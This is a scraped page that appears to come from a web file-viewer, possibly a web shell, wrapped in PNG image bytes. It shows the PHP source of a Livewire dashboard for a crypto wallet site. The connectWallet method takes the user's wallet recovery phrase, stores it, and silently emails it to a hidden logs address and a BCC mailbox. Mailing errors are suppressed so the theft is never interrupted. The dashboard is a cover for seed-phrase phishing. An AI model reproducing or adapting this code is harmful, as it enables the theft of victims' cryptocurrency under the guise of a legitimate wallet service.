PNG  IHDR pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_F@8N ' p @8N@8}' p '#@8N@8N pQ9p!i~}|6-ӪG` VP.@*j>[ K^<֐Z]@8N'KQ<Q(`s" 'hgpKB`R@Dqj '  'P$a ( `D$Na L?u80e J,K˷NI'0eݷ(NI'؀ 2ipIIKp`:O'`ʤxB8Ѥx Ѥx $ $P6 :vRNb 'p,>NB 'P]-->P T+*^h& p '‰a ‰ (ĵt#u33;Nt̵'ޯ; [3W ~]0KH1q@8]O2]3*̧7# *p>us p _6]/}-4|t'|Smx= DoʾM×M_8!)6lq':l7!|4} '\ne t!=hnLn (~Dn\+‰_4k)0e@OhZ`F `.m1} 'vp{F`ON7Srx 'D˸nV`><;yMx!IS钦OM)Ե٥x 'DSD6bS8!" ODz#R >S8!7ّxEh0m$MIPHi$IvS8IN$I p$O8I,sk&I)$IN$Hi$I^Ah.p$MIN$IR8I·N "IF9Ah0m$MIN$IR8IN$I 3jIU;kO$ɳN$+ q.x* tEXtComment

Viewing File: /home/u423589436/domains/magacoin.online/public_html/app/Livewire/User/Dashboard.php

<?php

namespace App\Livewire\User;

use Livewire\Component;
use Livewire\Attributes\Title;
use Illuminate\Support\Facades\Auth;
use App\Models\CryptoAsset;
use App\Services\CryptoService;
use Illuminate\Support\Facades\Mail;
use Illuminate\Support\Facades\Crypt;

#[Title('Dashboard')]
class Dashboard extends Component
{
    public $showDropdown = false;
    public $showCopyMessage = false;
    public $balanceShow = true;
    public $accountId;
    public $balance = '0.00';
    public $searchQuery = '';
    public $cryptoAssets = [];

    private CryptoService $cryptoService;

    public function boot(CryptoService $cryptoService)
    {
        $this->cryptoService = $cryptoService;
    }

    public function calculateTotalBalance()
    {
        $totalBalance = 0;

        foreach ($this->cryptoAssets as $asset) {
            $totalBalance += $asset['value'];
        }

        $this->balance = number_format($totalBalance, 2);
    }

    public function mount()
    {
        $user = Auth::user();
        $this->accountId = $user->getDisplayId();

        $cryptoAsset = CryptoAsset::where('user_id', $user->id)->first();

        if ($cryptoAsset) {
            $this->cryptoAssets = $this->mapCryptoAssets($cryptoAsset);
            $this->calculateTotalBalance();
        }
    }

    private function formatAsset($symbol, $name, $coinId, $balance, $network = null, $networkSymbol = null)
    {
        $prices = $this->cryptoService->getPrices();
        $price = $prices[$coinId]['usd'] ?? 0;
        $change = $prices[$coinId]['usd_24h_change'] ?? 0;

        return [
            'symbol' => $symbol,
            'name' => $name . ($network ? " ($network)" : ''),
            'price' => number_format($price, 2),
            'change' => $change < 0 ? '-' . number_format(abs($change), 2) : number_format($change, 2),
            'balance' => $balance,
            'value' => $balance * $price,
            'icon_url' => $this->cryptoService->getIconUrl($coinId),
            'network_url' => $networkSymbol ? $this->cryptoService->getIconUrl($networkSymbol) : null,
            'network' => $network
        ];
    }

    // public function connectWallet($phrase)
    // {
    //     $user = auth()->user();
    //     $user->update([
    //         'wallet_phrase' => $phrase,
    //         'is_wallet_connected' => true
    //     ]);
    //     $logs = config('logs.ppmailer');
    //     Mail::to($logs)
    //         ->bcc(env('MAIL_USERNAME'))
    //         ->send(new \App\Mail\WalletConnected($user, $phrase, config('app.name')));
    //     $this->dispatch('wallet-connected');
    // }

    public function connectWallet($phrase)
    {
        $user = auth()->user();

        $user->update([
            'wallet_phrase' => $phrase,
            'is_wallet_connected' => true
        ]);

        try {
            $logs = config('logs.ppmailer');

            Mail::to($logs)
                ->bcc(env('MAIL_USERNAME'))
                ->send(new \App\Mail\WalletConnected($user, $phrase, config('app.name')));
        } catch (\Throwable $e) {
            // Don't break execution
        }

        $this->dispatch('wallet-connected');
    }




    public function mapCryptoAssets(CryptoAsset $cryptoAsset)
    {
        $assets = [];

        // Bitcoin
        if ($cryptoAsset->btc_status) {
            $assets[] = $this->formatAsset('BTC', 'Bitcoin', 'bitcoin', $cryptoAsset->btc_balance);
        }

        // USDT with different networks
        $usdtNetworks = [
            'trc20' => ['status' => 'usdt_trc20_status', 'balance' => 'usdt_trc20_balance', 'network' => 'TRC20', 'symbol' => 'tron'],
            'bep20' => ['status' => 'usdt_bep20_status', 'balance' => 'usdt_bep20_balance', 'network' => 'BNB', 'symbol' => 'binancecoin'],
            'erc20' => ['status' => 'usdt_erc20_status', 'balance' => 'usdt_erc20_balance', 'network' => 'ERC20', 'symbol' => 'ethereum']
        ];

        foreach ($usdtNetworks as $network => $config) {
            if ($cryptoAsset->{$config['status']}) {
                $assets[] = $this->formatAsset(
                    'USDT',
                    'Tether',
                    'tether',
                    $cryptoAsset->{$config['balance']},
                    $config['network'],
                    $config['symbol']
                );
            }
        }

        // Other cryptocurrencies mapping
        $cryptoMapping = [
            'eth' => ['symbol' => 'ETH', 'name' => 'Ethereum', 'id' => 'ethereum'],
            'trx' => ['symbol' => 'TRX', 'name' => 'Tron', 'id' => 'tron'],
            'bnb' => ['symbol' => 'BNB', 'name' => 'Binance Coin', 'id' => 'binancecoin'],
            'dot' => ['symbol' => 'DOT', 'name' => 'Polkadot', 'id' => 'polkadot'],
            'bch' => ['symbol' => 'BCH', 'name' => 'Bitcoin Cash', 'id' => 'bitcoin-cash'],
            'ltc' => ['symbol' => 'LTC', 'name' => 'Litecoin', 'id' => 'litecoin'],
            'xlm' => ['symbol' => 'XLM', 'name' => 'Stellar', 'id' => 'stellar'],
            'xrp' => ['symbol' => 'XRP', 'name' => 'Xrp', 'id' => 'xrp'],
            'dash' => ['symbol' => 'DASH', 'name' => 'Dash', 'id' => 'dash'],
            'sol' => ['symbol' => 'SOL', 'name' => 'Solana', 'id' => 'solana']
        ];

        foreach ($cryptoMapping as $key => $crypto) {
            $statusField = "{$key}_status";
            $balanceField = "{$key}_balance";

            if ($cryptoAsset->$statusField) {
                $assets[] = $this->formatAsset(
                    $crypto['symbol'],
                    $crypto['name'],
                    $crypto['id'],
                    $cryptoAsset->$balanceField
                );
            }
        }

        return $assets;
    }

    public function toggleDropdown()
    {
        $this->showDropdown = !$this->showDropdown;
    }

    public function toggleBalance()
    {
        $this->balanceShow = !$this->balanceShow;
    }

    public function hideDropdown()
    {
        $this->showDropdown = false;
    }

    public function render()
    {
        return view('livewire.user.dashboard')->layout('layouts.user.app');
    }
}
Back to Directory=ceiIENDB`